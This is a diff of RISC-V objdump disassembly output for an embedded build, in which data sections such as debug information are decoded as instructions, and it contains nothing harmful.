-    1808:	c300                	sw	s0,0(a4)
-    180a:	000a                	c.slli	zero,0x2
-    180c:	0e00                	addi	s0,sp,784
-    180e:	00006573          	csrrsi	a0,ustatus,0
-    1812:	7801                	lui	a6,0xfffe0
-    1814:	0019cc07          	flq	fs8,1(s3)
-    1818:	0200                	addi	s0,sp,256
-    181a:	5491                	li	s1,-28
-    181c:	f024                	fsw	fs1,96(s0)
-    181e:	0064                	addi	s1,sp,12
-    1820:	0100                	addi	s0,sp,128
-    1822:	1780                	addi	s0,sp,992
-    1824:	0079                	c.nop	30
-    1826:	0000                	unimp
-    1828:	0ad6                	slli	s5,s5,0x15
-    182a:	0000                	unimp
-    182c:	1124                	addi	s1,sp,168
-    182e:	01000057          	0x1000057
-    1832:	0e81                	addi	t4,t4,0
-    1834:	00f8                	addi	a4,sp,76
-    1836:	0000                	unimp
-    1838:	0ae9                	addi	s5,s5,26
-    183a:	0000                	unimp
-    183c:	e024                	fsw	fs1,64(s0)
-    183e:	0031                	c.nop	12
-    1840:	0100                	addi	s0,sp,128
-    1842:	1788                	addi	a0,sp,992
-    1844:	0079                	c.nop	30
-    1846:	0000                	unimp
-    1848:	0afc                	addi	a5,sp,348
-    184a:	0000                	unimp
-    184c:	b724                	fsd	fs1,104(a4)
-    184e:	008d                	addi	ra,ra,3
-    1850:	0100                	addi	s0,sp,128
-    1852:	0e89                	addi	t4,t4,2
-    1854:	00f8                	addi	a4,sp,76
+    1784:	0f06                	slli	t5,t5,0x1
+    1786:	0cc5                	addi	s9,s9,17
+    1788:	0000                	unimp
+    178a:	0305                	addi	t1,t1,1
+    178c:	0000                	unimp
+    178e:	0000                	unimp
+    1790:	071f 9104 0000      	0x9104071f
+    1796:	0100                	addi	s0,sp,128
+    1798:	0f08                	addi	a0,sp,912
+    179a:	0b22                	slli	s6,s6,0x8
+    179c:	0000                	unimp
+    179e:	00004a0b          	0x4a0b
+    17a2:	0100                	addi	s0,sp,128
+    17a4:	0085df0b          	0x85df0b
+    17a8:	0200                	addi	s0,sp,256
+    17aa:	00a37e0b          	0xa37e0b
+    17ae:	0300                	addi	s0,sp,384
+    17b0:	00a3840b          	0xa3840b
+    17b4:	0400                	addi	s0,sp,512
+    17b6:	0300                	addi	s0,sp,384
+    17b8:	a379                	j	1d46 <__stack_size+0x1546>
+    17ba:	0000                	unimp
+    17bc:	0801                	addi	a6,a6,0
+    17be:	fb2e                	fsw	fa1,180(sp)
+    17c0:	000a                	c.slli	zero,0x2
+    17c2:	1300                	addi	s0,sp,416
+    17c4:	00c8                	addi	a0,sp,68
+    17c6:	0000                	unimp
+    17c8:	3711                	jal	16cc <__stack_size+0xecc>
+    17ca:	010000a3          	sb	a6,1(zero) # 1 <__stack_size-0x7ff>
+    17ce:	0c0a                	slli	s8,s8,0x2
+    17d0:	0b22                	slli	s6,s6,0x8
+    17d2:	0000                	unimp
+    17d4:	0784                	addi	s1,sp,960
+    17d6:	0000                	unimp
+    17d8:	0000e813          	ori	a6,ra,0
+    17dc:	1400                	addi	s0,sp,544
+    17de:	736d                	lui	t1,0xffffb
+    17e0:	0c010067          	jr	192(sp)
+    17e4:	890e                	mv	s2,gp
+    17e6:	0005                	c.nop	1
+    17e8:	0300                	addi	s0,sp,384
+    17ea:	b091                	j	102e <__stack_size+0x82e>
+    17ec:	127f                	0x127f
+	...
+    17f6:	00000ba7          	0xba7
+    17fa:	6114                	flw	fa3,0(a0)
+    17fc:	0030                	addi	a2,sp,8
+    17fe:	0e01                	addi	t3,t3,0
+    1800:	00006b07          	0x6b07
+    1804:	0100                	addi	s0,sp,128
+    1806:	145a                	slli	s0,s0,0x36
+    1808:	3261                	jal	1190 <__stack_size+0x990>
+    180a:	0100                	addi	s0,sp,128
+    180c:	070e                	slli	a4,a4,0x3
+    180e:	0000006b          	0x6b
+    1812:	5c01                	li	s8,-32
+    1814:	6114                	flw	fa3,0(a0)
+    1816:	0e010033          	0xe010033
+    181a:	00006b07          	0x6b07
+    181e:	0100                	addi	s0,sp,128
+    1820:	145d                	addi	s0,s0,-9
+    1822:	3461                	jal	12aa <__stack_size+0xaaa>
+    1824:	0100                	addi	s0,sp,128
+    1826:	070e                	slli	a4,a4,0x3
+    1828:	0000006b          	0x6b
+    182c:	5e01                	li	t3,-32
+    182e:	6114                	flw	fa3,0(a0)
+    1830:	0035                	c.nop	13
+    1832:	0e01                	addi	t3,t3,0
+    1834:	00006b07          	0x6b07
+    1838:	0100                	addi	s0,sp,128
+    183a:	005f 0018 0001      	0x10018005f
+    1840:	be00                	fsd	fs0,56(a2)
+    1842:	1400000b          	0x1400000b
+    1846:	3061                	jal	10ce <__stack_size+0x8ce>
+    1848:	0100                	addi	s0,sp,128
+    184a:	0511                	addi	a0,a0,4
+    184c:	0000006b          	0x6b
+    1850:	5a01                	li	s4,-32
+    1852:	1500                	addi	s0,sp,672
+    1854:	0000                	unimp
     1856:	0000                	unimp
-    1858:	00000b0f          	0xb0f
-    185c:	501a                	0x501a
+    1858:	0d72                	slli	s10,s10,0x1c
+    185a:	0000                	unimp
+    185c:	0bd8                	addi	a4,sp,468
     185e:	0000                	unimp
-    1860:	4f00                	lw	s0,24(a4)
-    1862:	0018                	0x18
-    1864:	2700                	fld	fs0,8(a4)
-    1866:	6472                	flw	fs0,28(sp)
-    1868:	0100                	addi	s0,sp,128
-    186a:	00721d73          	csrrw	s10,0x7,tp
+    1860:	0116                	slli	sp,sp,0x5
+    1862:	025a                	slli	tp,tp,0x16
+    1864:	0085                	addi	ra,ra,1
+    1866:	0116                	slli	sp,sp,0x5
+    1868:	0072025b          	0x72025b
+    186c:	1500                	addi	s0,sp,672
     186e:	0000                	unimp
-    1870:	0ab0                	addi	a2,sp,344
-    1872:	0000                	unimp
-    1874:	1000                	addi	s0,sp,32
-    1876:	1cbc                	addi	a5,sp,632
-    1878:	2040                	fld	fs0,128(s0)
-    187a:	002e                	c.slli	zero,0xb
-    187c:	0000                	unimp
-    187e:	1879                	addi	a6,a6,-2
-    1880:	0000                	unimp
-    1882:	01006927          	0x1006927
-    1886:	0b79                	addi	s6,s6,30
-    1888:	0030                	addi	a2,sp,8
-    188a:	0000                	unimp
-    188c:	0b22                	slli	s6,s6,0x8
-    188e:	0000                	unimp
-    1890:	01006a27          	0x1006a27
-    1894:	1079                	c.nop	-2
-    1896:	0030                	addi	a2,sp,8
-    1898:	0000                	unimp
-    189a:	0b41                	addi	s6,s6,16
-    189c:	0000                	unimp
-    189e:	1000                	addi	s0,sp,32
-    18a0:	1cfc                	addi	a5,sp,636
-    18a2:	2040                	fld	fs0,128(s0)
-    18a4:	0004                	0x4
+    1870:	0000                	unimp
+    1872:	0d1e                	slli	s10,s10,0x7
+    1874:	0000                	unimp
+    1876:	0bf1                	addi	s7,s7,28
+    1878:	0000                	unimp
+    187a:	0116                	slli	sp,sp,0x5
+    187c:	0072025b          	0x72025b
+    1880:	0116                	slli	sp,sp,0x5
+    1882:	015c                	addi	a5,sp,132
+    1884:	0040                	addi	s0,sp,4
+    1886:	0015                	c.nop	5
+    1888:	0000                	unimp
+    188a:	4200                	lw	s0,0(a2)
+    188c:	000d                	c.nop	3
+    188e:	0a00                	addi	s0,sp,272
+    1890:	000c                	0xc
+    1892:	1600                	addi	s0,sp,800
+    1894:	5a01                	li	s4,-32
+    1896:	7202                	flw	ft4,32(sp)
+    1898:	1600                	addi	s0,sp,800
+    189a:	5b01                	li	s6,-32
+    189c:	4001                	c.li	zero,0
+    189e:	1500                	addi	s0,sp,672
+    18a0:	0000                	unimp
+    18a2:	0000                	unimp
+    18a4:	0d4e                	slli	s10,s10,0x13
     18a6:	0000                	unimp
-    18a8:	1896                	slli	a7,a7,0x25
+    18a8:	0c28                	addi	a0,sp,536
     18aa:	0000                	unimp
-    18ac:	00647227          	0x647227
-    18b0:	8001                	c.srli64	s0
-    18b2:	00007223          	0x7223
-    18b6:	d600                	sw	s0,40(a2)
-    18b8:	000a                	c.slli	zero,0x2
-    18ba:	0000                	unimp
-    18bc:	4210                	lw	a2,0(a2)
-    18be:	401d                	c.li	zero,7
-    18c0:	0420                	addi	s0,sp,520
-    18c2:	0000                	unimp
-    18c4:	b300                	fsd	fs0,32(a4)
-    18c6:	0018                	0x18
-    18c8:	2700                	fld	fs0,8(a4)
-    18ca:	6472                	flw	fs0,28(sp)
-    18cc:	0100                	addi	s0,sp,128
-    18ce:	2188                	fld	fa0,0(a1)
-    18d0:	0072                	c.slli	zero,0x1c
-    18d2:	0000                	unimp
-    18d4:	0afc                	addi	a5,sp,348
-    18d6:	0000                	unimp
-    18d8:	1000                	addi	s0,sp,32
-    18da:	1dbc                	addi	a5,sp,760
-    18dc:	2040                	fld	fs0,128(s0)
-    18de:	0004                	0x4
+    18ac:	0116                	slli	sp,sp,0x5
+    18ae:	015a                	slli	sp,sp,0x16
+    18b0:	1631                	addi	a2,a2,-20
+    18b2:	5b01                	li	s6,-32
+    18b4:	8702                	jr	a4
+    18b6:	1600                	addi	s0,sp,800
+    18b8:	5c01                	li	s8,-32
+    18ba:	3601                	jal	13ba <__stack_size+0xbba>
+    18bc:	1500                	addi	s0,sp,672
+    18be:	0000                	unimp
+    18c0:	0000                	unimp
+    18c2:	0d2a                	slli	s10,s10,0xa
+    18c4:	0000                	unimp
+    18c6:	0c48                	addi	a0,sp,532
+    18c8:	0000                	unimp
+    18ca:	0116                	slli	sp,sp,0x5
+    18cc:	025a                	slli	tp,tp,0x16
+    18ce:	0088                	addi	a0,sp,64
+    18d0:	0116                	slli	sp,sp,0x5
+    18d2:	0078025b          	0x78025b
+    18d6:	0116                	slli	sp,sp,0x5
+    18d8:	025c                	addi	a5,sp,260
+    18da:	0082                	c.slli64	ra
+    18dc:	1500                	addi	s0,sp,672
+    18de:	0000                	unimp
     18e0:	0000                	unimp
-    18e2:	18d0                	addi	a2,sp,116
+    18e2:	0d5a                	slli	s10,s10,0x16
     18e4:	0000                	unimp
-    18e6:	00647227          	0x647227
-    18ea:	9101                	srli	a0,a0,0x20
-    18ec:	7226                	flw	ft4,104(sp)
-    18ee:	0000                	unimp
-    18f0:	7600                	flw	fs0,40(a2)
-    18f2:	0000000b          	0xb
-    18f6:	cc10                	sw	a2,24(s0)
-    18f8:	401d                	c.li	zero,7
-    18fa:	0420                	addi	s0,sp,520
-    18fc:	0000                	unimp
-    18fe:	ed00                	fsw	fs0,24(a0)
-    1900:	0018                	0x18
-    1902:	2700                	fld	fs0,8(a4)
-    1904:	6472                	flw	fs0,28(sp)
-    1906:	0100                	addi	s0,sp,128
-    1908:	2594                	fld	fa3,8(a1)
-    190a:	0072                	c.slli	zero,0x1c
-    190c:	0000                	unimp
-    190e:	0b89                	addi	s7,s7,2
+    18e6:	0c61                	addi	s8,s8,24
+    18e8:	0000                	unimp
+    18ea:	0116                	slli	sp,sp,0x5
+    18ec:	025a                	slli	tp,tp,0x16
+    18ee:	0082                	c.slli64	ra
+    18f0:	0116                	slli	sp,sp,0x5
+    18f2:	003a015b          	0x3a015b
+    18f6:	0015                	c.nop	5
+    18f8:	0000                	unimp
+    18fa:	2a00                	fld	fs0,16(a2)
+    18fc:	000d                	c.nop	3
+    18fe:	7800                	flw	fs0,48(s0)
+    1900:	000c                	0xc
+    1902:	1600                	addi	s0,sp,800
+    1904:	5a01                	li	s4,-32
+    1906:	0305                	addi	t1,t1,1
+    1908:	3e84                	fld	fs1,56(a3)
+    190a:	2040                	fld	fs0,128(s0)
+    190c:	1500                	addi	s0,sp,672
+    190e:	0000                	unimp
     1910:	0000                	unimp
-    1912:	1200                	addi	s0,sp,288
-    1914:	1cbc                	addi	a5,sp,632
-    1916:	2040                	fld	fs0,128(s0)
-    1918:	00001dcf          	fnmadd.s	fs11,ft0,ft0,ft0,rtz
-    191c:	0000190b          	0x190b
-    1920:	025a0113          	addi	sp,s4,37
-    1924:	5891                	li	a7,-28
-    1926:	015b0113          	addi	sp,s6,21
-    192a:	1330                	addi	a2,sp,424
-    192c:	5c01                	li	s8,-32
-    192e:	4701                	li	a4,0
-    1930:	1200                	addi	s0,sp,288
-    1932:	1cfc                	addi	a5,sp,636
-    1934:	2040                	fld	fs0,128(s0)
-    1936:	1d08                	addi	a0,sp,688
-    1938:	0000                	unimp
-    193a:	1934                	addi	a3,sp,184
-    193c:	0000                	unimp
-    193e:	055a0113          	addi	sp,s4,85
-    1942:	40556803          	0x40556803
-    1946:	1320                	addi	s0,sp,424
-    1948:	5b01                	li	s6,-32
-    194a:	7902                	flw	fs2,32(sp)
-    194c:	1300                	addi	s0,sp,416
-    194e:	5c01                	li	s8,-32
-    1950:	7802                	flw	fa6,32(sp)
-    1952:	1300                	addi	s0,sp,416
-    1954:	5d01                	li	s10,-32
-    1956:	9102                	jalr	sp
-    1958:	0054                	addi	a3,sp,4
-    195a:	4212                	lw	tp,4(sp)
-    195c:	401d                	c.li	zero,7
-    195e:	0820                	addi	s0,sp,24
-    1960:	001d                	c.nop	7
-    1962:	5100                	lw	s0,32(a0)
-    1964:	0019                	c.nop	6
-    1966:	1300                	addi	s0,sp,416
-    1968:	5a01                	li	s4,-32
-    196a:	0305                	addi	t1,t1,1
-    196c:	558c                	lw	a1,40(a1)
-    196e:	2040                	fld	fs0,128(s0)
-    1970:	025b0113          	addi	sp,s6,37
-    1974:	0078                	addi	a4,sp,12
-    1976:	1200                	addi	s0,sp,288
-    1978:	1dbc                	addi	a5,sp,760
-    197a:	2040                	fld	fs0,128(s0)
-    197c:	1d08                	addi	a0,sp,688
-    197e:	0000                	unimp
-    1980:	1968                	addi	a0,sp,188
-    1982:	0000                	unimp
-    1984:	055a0113          	addi	sp,s4,85
-    1988:	4055a803          	lw	a6,1029(a1)
-    198c:	0020                	addi	s0,sp,8
-    198e:	cc12                	sw	tp,24(sp)
-    1990:	401d                	c.li	zero,7
-    1992:	0820                	addi	s0,sp,24
-    1994:	001d                	c.nop	7
-    1996:	7f00                	flw	fs0,56(a4)
-    1998:	0019                	c.nop	6
-    199a:	1300                	addi	s0,sp,416
-    199c:	5a01                	li	s4,-32
-    199e:	0305                	addi	t1,t1,1
-    19a0:	55c4                	lw	s1,44(a1)
-    19a2:	2040                	fld	fs0,128(s0)
-    19a4:	1200                	addi	s0,sp,288
-    19a6:	1ddc                	addi	a5,sp,756
-    19a8:	2040                	fld	fs0,128(s0)
-    19aa:	1d08                	addi	a0,sp,688
-    19ac:	0000                	unimp
-    19ae:	1996                	slli	s3,s3,0x25
-    19b0:	0000                	unimp
-    19b2:	055a0113          	addi	sp,s4,85
-    19b6:	4055e003          	0x4055e003
-    19ba:	0020                	addi	s0,sp,8
-    19bc:	ec12                	fsw	ft4,24(sp)
-    19be:	401d                	c.li	zero,7
-    19c0:	0820                	addi	s0,sp,24
-    19c2:	001d                	c.nop	7
-    19c4:	b300                	fsd	fs0,32(a4)
-    19c6:	0019                	c.nop	6
-    19c8:	1300                	addi	s0,sp,416
-    19ca:	5a01                	li	s4,-32
-    19cc:	0305                	addi	t1,t1,1
-    19ce:	55f8                	lw	a4,108(a1)
-    19d0:	2040                	fld	fs0,128(s0)
-    19d2:	025b0113          	addi	sp,s6,37
-    19d6:	4008                	lw	a0,0(s0)
-    19d8:	1b00                	addi	s0,sp,432
-    19da:	1dfa                	slli	s11,s11,0x3e
-    19dc:	2040                	fld	fs0,128(s0)
-    19de:	1d08                	addi	a0,sp,688
-    19e0:	0000                	unimp
-    19e2:	055a0113          	addi	sp,s4,85
-    19e6:	40561403          	lh	s0,1029(a2)
-    19ea:	1320                	addi	s0,sp,424
-    19ec:	5b01                	li	s6,-32
-    19ee:	4001                	c.li	zero,0
-    19f0:	0000                	unimp
-    19f2:	ec08                	fsw	fa0,24(s0)
-    19f4:	0000                	unimp
-    19f6:	dc00                	sw	s0,56(s0)
-    19f8:	0019                	c.nop	6
-    19fa:	0900                	addi	s0,sp,144
-    19fc:	00a0                	addi	s0,sp,72
+    1912:	0d2a                	slli	s10,s10,0xa
+    1914:	0000                	unimp
+    1916:	0c92                	slli	s9,s9,0x4
+    1918:	0000                	unimp
+    191a:	0116                	slli	sp,sp,0x5
+    191c:	025a                	slli	tp,tp,0x16
+    191e:	0089                	addi	ra,ra,2
+    1920:	0116                	slli	sp,sp,0x5
+    1922:	0083025b          	0x83025b
+    1926:	1700                	addi	s0,sp,928
+    1928:	0000                	unimp
+    192a:	0000                	unimp
+    192c:	0d4e                	slli	s10,s10,0x13
+    192e:	0000                	unimp
+    1930:	0116                	slli	sp,sp,0x5
+    1932:	015a                	slli	sp,sp,0x16
+    1934:	1631                	addi	a2,a2,-20
+    1936:	5b01                	li	s6,-32
+    1938:	8a02                	jr	s4
+    193a:	1600                	addi	s0,sp,800
+    193c:	5c01                	li	s8,-32
+    193e:	3601                	jal	143e <__stack_size+0xc3e>
+    1940:	0000                	unimp
+    1942:	0000                	unimp
+    1944:	9e1a                	add	t3,t3,t1
+    1946:	0000                	unimp
+    1948:	c500                	sw	s0,8(a0)
+    194a:	000c                	0xc
+    194c:	1b00                	addi	s0,sp,432
+    194e:	0091                	addi	ra,ra,4
+    1950:	0000                	unimp
+    1952:	00911b03          	lh	s6,9(sp)
+    1956:	0000                	unimp
+    1958:	981a003f d5000000 	0xd5000000981a003f
+    1960:	000c                	0xc
+    1962:	1b00                	addi	s0,sp,432
+    1964:	0091                	addi	ra,ra,4
+    1966:	0000                	unimp
+    1968:	0c200003          	lb	zero,194(zero) # c2 <__stack_size-0x73e>
+    196c:	0071                	c.nop	28
+    196e:	0c00                	addi	s0,sp,528
+    1970:	0071                	c.nop	28
+    1972:	0400                	addi	s0,sp,512
+    1974:	0929                	addi	s2,s2,10
+    1976:	5821                	li	a6,-24
+    1978:	580000a3          	sb	zero,1409(zero) # 581 <__stack_size-0x27f>
+    197c:	050000a3          	sb	a6,65(zero) # 41 <__stack_size-0x7bf>
+    1980:	010a                	slli	sp,sp,0x2
+    1982:	2005                	jal	19a2 <__stack_size+0x11a2>
+    1984:	0000219b          	0x219b
+    1988:	0000219b          	0x219b
+    198c:	5e06                	lw	t3,96(sp)
+    198e:	2006                	fld	ft0,64(sp)
+    1990:	26aa                	fld	fa3,136(sp)
+    1992:	0000                	unimp
+    1994:	26aa                	fld	fa3,136(sp)
+    1996:	0000                	unimp
+    1998:	6c06                	flw	fs8,64(sp)
+    199a:	a2552007          	flw	ft0,-1499(a0) # bc3 <__stack_size+0x3c3>
+    199e:	0000                	unimp
+    19a0:	a255                	j	1b44 <__stack_size+0x1344>
+    19a2:	0000                	unimp
+    19a4:	2104                	fld	fs1,0(a0)
+    19a6:	2009                	jal	19a8 <__stack_size+0x11a8>
+    19a8:	a224                	fsd	fs1,64(a2)
+    19aa:	0000                	unimp
+    19ac:	a224                	fsd	fs1,64(a2)
+    19ae:	0000                	unimp
+    19b0:	20071a03          	lh	s4,512(a4) # 1a200 <__stack_size+0x19a00>
+    19b4:	1339                	addi	t1,t1,-18
+    19b6:	0000                	unimp
+    19b8:	1339                	addi	t1,t1,-18
+    19ba:	0000                	unimp
+    19bc:	1f04                	addi	s1,sp,944
+    19be:	2009                	jal	19c0 <__stack_size+0x11c0>
+    19c0:	a35a                	fsd	fs6,384(sp)
+    19c2:	0000                	unimp
+    19c4:	a35a                	fsd	fs6,384(sp)
+    19c6:	0000                	unimp
+    19c8:	c805                	beqz	s0,19f8 <__stack_size+0x11f8>
+    19ca:	2005                	jal	19ea <__stack_size+0x11ea>
+    19cc:	2a32                	fld	fs4,264(sp)
+    19ce:	0000                	unimp
+    19d0:	2a32                	fld	fs4,264(sp)
+    19d2:	0000                	unimp
+    19d4:	2b04                	fld	fs1,16(a4)
+    19d6:	2006                	fld	ft0,64(sp)
+    19d8:	a2e0                	fsd	fs0,192(a3)
+    19da:	0000                	unimp
+    19dc:	a2e0                	fsd	fs0,192(a3)
+    19de:	0000                	unimp
+    19e0:	7704                	flw	fs1,40(a4)
+    19e2:	2009                	jal	19e4 <__stack_size+0x11e4>
+    19e4:	0000a3f3          	csrrs	t2,ustatus,ra
+    19e8:	0000a3f3          	csrrs	t2,ustatus,ra
+    19ec:	2019f507          	0x2019f507
+    19f0:	a366                	fsd	fs9,384(sp)
+    19f2:	0000                	unimp
+    19f4:	a366                	fsd	fs9,384(sp)
+    19f6:	0000                	unimp
+    19f8:	2e04                	fld	fs1,24(a2)
+    19fa:	2008                	fld	fa0,0(s0)
+    19fc:	a222                	fsd	fs0,256(sp)
     19fe:	0000                	unimp
-    1a00:	001a                	c.slli	zero,0x6
-    1a02:	00851323          	sh	s0,6(a0) # 1b006 <__stack_size+0x1a806>
-    1a06:	0100                	addi	s0,sp,128
-    1a08:	2416                	fld	fs0,320(sp)
-    1a0a:	19be                	slli	s3,s3,0x2f
-    1a0c:	2040                	fld	fs0,128(s0)
-    1a0e:	02cc                	addi	a1,sp,324
-    1a10:	0000                	unimp
-    1a12:	9c01                	0x9c01
-    1a14:	1cfc                	addi	a5,sp,636
-    1a16:	0000                	unimp
-    1a18:	9c24                	0x9c24
-    1a1a:	0100004f          	fnmadd.s	ft0,ft0,fa6,ft0,rne
-    1a1e:	1618                	addi	a4,sp,800
-    1a20:	0079                	c.nop	30
+    1a00:	a222                	fsd	fs0,256(sp)
+    1a02:	0000                	unimp
+    1a04:	20151b03          	lh	s6,513(a0)
+    1a08:	a330                	fsd	fa2,64(a4)
+    1a0a:	0000                	unimp
+    1a0c:	a330                	fsd	fa2,64(a4)
+    1a0e:	0000                	unimp
+    1a10:	2404                	fld	fs1,8(s0)
+    1a12:	0006                	c.slli	zero,0x1
+    1a14:	000005af          	0x5af
+    1a18:	0004                	0x4
+    1a1a:	0578                	addi	a4,sp,652
+    1a1c:	0000                	unimp
+    1a1e:	0104                	addi	s1,sp,128
+    1a20:	4ead                	li	t4,11
     1a22:	0000                	unimp
-    1a24:	0b9c                	addi	a5,sp,464
-    1a26:	0000                	unimp
-    1a28:	9f24                	0x9f24
-    1a2a:	01000047          	fmsub.s	ft0,ft0,fa6,ft0,rne
-    1a2e:	1619                	addi	a2,a2,-26
-    1a30:	0079                	c.nop	30
+    1a24:	470c                	lw	a1,8(a4)
+    1a26:	00a4                	addi	s1,sp,72
+    1a28:	1a00                	addi	s0,sp,304
+    1a2a:	0000                	unimp
+    1a2c:	f800                	fsw	fs0,48(s0)
+    1a2e:	0001                	nop
+    1a30:	0000                	unimp
     1a32:	0000                	unimp
-    1a34:	0bba                	slli	s7,s7,0xe
-    1a36:	0000                	unimp
-    1a38:	5324                	lw	s1,96(a4)
-    1a3a:	009e                	slli	ra,ra,0x7
-    1a3c:	0100                	addi	s0,sp,128
-    1a3e:	161a                	slli	a2,a2,0x26
-    1a40:	0079                	c.nop	30
-    1a42:	0000                	unimp
-    1a44:	00000bfb          	0xbfb
-    1a48:	6326                	flw	ft6,72(sp)
-    1a4a:	0100                	addi	s0,sp,128
-    1a4c:	076a                	slli	a4,a4,0x1a
-    1a4e:	00ec                	addi	a1,sp,76
-    1a50:	0000                	unimp
-    1a52:	7fa89103          	lh	sp,2042(a7)
-    1a56:	001a                	c.slli	zero,0x6
-    1a58:	0000                	unimp
-    1a5a:	4700                	lw	s0,8(a4)
-    1a5c:	001a                	c.slli	zero,0x6
-    1a5e:	2600                	fld	fs0,8(a2)
-    1a60:	3061                	jal	12e8 <__stack_size+0xae8>
-    1a62:	0100                	addi	s0,sp,128
-    1a64:	1f18                	addi	a4,sp,944
-    1a66:	0072                	c.slli	zero,0x1c
-    1a68:	0000                	unimp
-    1a6a:	5a01                	li	s4,-32
-    1a6c:	1000                	addi	s0,sp,32
-    1a6e:	19f2                	slli	s3,s3,0x3c
-    1a70:	2040                	fld	fs0,128(s0)
-    1a72:	000c                	0xc
-    1a74:	0000                	unimp
-    1a76:	1a62                	slli	s4,s4,0x38
-    1a78:	0000                	unimp
-    1a7a:	6126                	flw	ft2,72(sp)
-    1a7c:	0030                	addi	a2,sp,8
-    1a7e:	1901                	addi	s2,s2,-32
-    1a80:	721f 0000 0100      	0x1000000721f
-    1a86:	005a                	c.slli	zero,0x16
-    1a88:	181a                	slli	a6,a6,0x26
-    1a8a:	0000                	unimp
-    1a8c:	7900                	flw	fs0,48(a0)
-    1a8e:	001a                	c.slli	zero,0x6
-    1a90:	2600                	fld	fs0,8(a2)
-    1a92:	3061                	jal	131a <__stack_size+0xb1a>
-    1a94:	0100                	addi	s0,sp,128
-    1a96:	1f1a                	slli	t5,t5,0x26
-    1a98:	0072                	c.slli	zero,0x1c
-    1a9a:	0000                	unimp
-    1a9c:	5a01                	li	s4,-32
-    1a9e:	1a00                	addi	s0,sp,304
-    1aa0:	0030                	addi	a2,sp,8
-    1aa2:	0000                	unimp
-    1aa4:	1cc9                	addi	s9,s9,-14
-    1aa6:	0000                	unimp
-    1aa8:	260e                	fld	fa2,192(sp)
-    1aaa:	003c                	addi	a5,sp,8
-    1aac:	0100                	addi	s0,sp,128
-    1aae:	1659                	addi	a2,a2,-10
-    1ab0:	00d0                	addi	a2,sp,68
-    1ab2:	0000                	unimp
-    1ab4:	6201                	0x6201
-    1ab6:	c80e                	sw	gp,16(sp)
-    1ab8:	0022                	c.slli	zero,0x8
-    1aba:	0100                	addi	s0,sp,128
-    1abc:	0b5a                	slli	s6,s6,0x16
-    1abe:	00fe                	slli	ra,ra,0x1f
-    1ac0:	0000                	unimp
-    1ac2:	7fa89103          	lh	sp,2042(a7)
-    1ac6:	1f24                	addi	s1,sp,952
-    1ac8:	01000057          	0x1000057
-    1acc:	185a                	slli	a6,a6,0x36
-    1ace:	0030                	addi	a2,sp,8
+    1a34:	f100                	fsw	fs0,32(a0)
+    1a36:	001f b500 002e      	0x2eb500001f
+    1a3c:	0200                	addi	s0,sp,256
+    1a3e:	7e3d                	lui	t3,0xfffef
+    1a40:	0000                	unimp
+    1a42:	d102                	sw	zero,160(sp)
+    1a44:	00003517          	auipc	a0,0x3
+    1a48:	0300                	addi	s0,sp,384
+    1a4a:	0704                	addi	s1,sp,896
+    1a4c:	71e5                	lui	gp,0xffff9
+    1a4e:	0000                	unimp
+    1a50:	0404                	addi	s1,sp,512
+    1a52:	6905                	lui	s2,0x1
+    1a54:	746e                	flw	fs0,248(sp)
+    1a56:	0300                	addi	s0,sp,384
+    1a58:	0508                	addi	a0,sp,640
+    1a5a:	90b6                	add	ra,ra,a3
+    1a5c:	0000                	unimp
+    1a5e:	33041003          	lh	zero,816(s0) # 6330 <__stack_size+0x5b30>
+    1a62:	0092                	slli	ra,ra,0x4
+    1a64:	0300                	addi	s0,sp,384
+    1a66:	0601                	addi	a2,a2,0
+    1a68:	7f6d                	lui	t5,0xffffb
+    1a6a:	0000                	unimp
+    1a6c:	7402                	flw	fs0,32(sp)
+    1a6e:	0004                	0x4
+    1a70:	0300                	addi	s0,sp,384
+    1a72:	0064182b          	0x64182b
+    1a76:	0000                	unimp
+    1a78:	a0080103          	lb	sp,-1536(a6)
+    1a7c:	03000013          	li	zero,48
+    1a80:	0502                	c.slli64	a0
+    1a82:	3822                	fld	fa6,40(sp)
+    1a84:	0000                	unimp
+    1a86:	f7070203          	lb	tp,-144(a4)
+    1a8a:	0300009b          	0x300009b
+    1a8e:	0504                	addi	s1,sp,640
+    1a90:	5184                	lw	s1,32(a1)
+    1a92:	0000                	unimp
+    1a94:	eb02                	fsw	ft0,148(sp)
+    1a96:	03000027          	0x3000027
+    1a9a:	008c194f          	fnmadd.s	fs2,fs8,fs0,ft0,rtz
+    1a9e:	0000                	unimp
+    1aa0:	cd070403          	lb	s0,-816(a4)
+    1aa4:	0065                	c.nop	25
+    1aa6:	0300                	addi	s0,sp,384
+    1aa8:	0708                	addi	a0,sp,896
+    1aaa:	00000617          	auipc	a2,0x0
+    1aae:	f502                	fsw	ft0,168(sp)
+    1ab0:	03000097          	auipc	ra,0x3000
+    1ab4:	1ec8                	addi	a0,sp,884
+    1ab6:	00000043          	fmadd.s	ft0,ft0,ft0,ft0,rne
+    1aba:	8702                	jr	a4
+    1abc:	00a4                	addi	s1,sp,72
+    1abe:	0400                	addi	s0,sp,512
+    1ac0:	0e1e                	slli	t3,t3,0x7
+    1ac2:	0079                	c.nop	30
+    1ac4:	0000                	unimp
+    1ac6:	2202                	fld	ft4,0(sp)
+    1ac8:	00a4                	addi	s1,sp,72
+    1aca:	0400                	addi	s0,sp,512
+    1acc:	0e22                	slli	t3,t3,0x8
+    1ace:	0079                	c.nop	30
     1ad0:	0000                	unimp
-    1ad2:	00000d67          	jalr	s10,zero # 0 <__stack_size-0x800>
-    1ad6:	3410                	fld	fa2,40(s0)
-    1ad8:	401c                	lw	a5,0(s0)
-    1ada:	0820                	addi	s0,sp,24
+    1ad2:	cb02                	sw	zero,148(sp)
+    1ad4:	00a4                	addi	s1,sp,72
+    1ad6:	0400                	addi	s0,sp,512
+    1ad8:	0e2e                	slli	t3,t3,0xb
+    1ada:	0079                	c.nop	30
     1adc:	0000                	unimp
-    1ade:	c900                	sw	s0,16(a0)
-    1ae0:	001a                	c.slli	zero,0x6
-    1ae2:	2800                	fld	fs0,16(s0)
-    1ae4:	6472                	flw	fs0,28(sp)
-    1ae6:	0100                	addi	s0,sp,128
-    1ae8:	0655                	addi	a2,a2,21
-    1aea:	0072                	c.slli	zero,0x1c
-    1aec:	0000                	unimp
-    1aee:	1400                	addi	s0,sp,544
-    1af0:	1a5c                	addi	a5,sp,308
-    1af2:	2040                	fld	fs0,128(s0)
-    1af4:	1d08                	addi	a0,sp,688
-    1af6:	0000                	unimp
-    1af8:	b812                	fsd	ft4,48(sp)
-    1afa:	401a                	0x401a
-    1afc:	0820                	addi	s0,sp,24
-    1afe:	001d                	c.nop	7
-    1b00:	f400                	fsw	fs0,40(s0)
-    1b02:	001a                	c.slli	zero,0x6
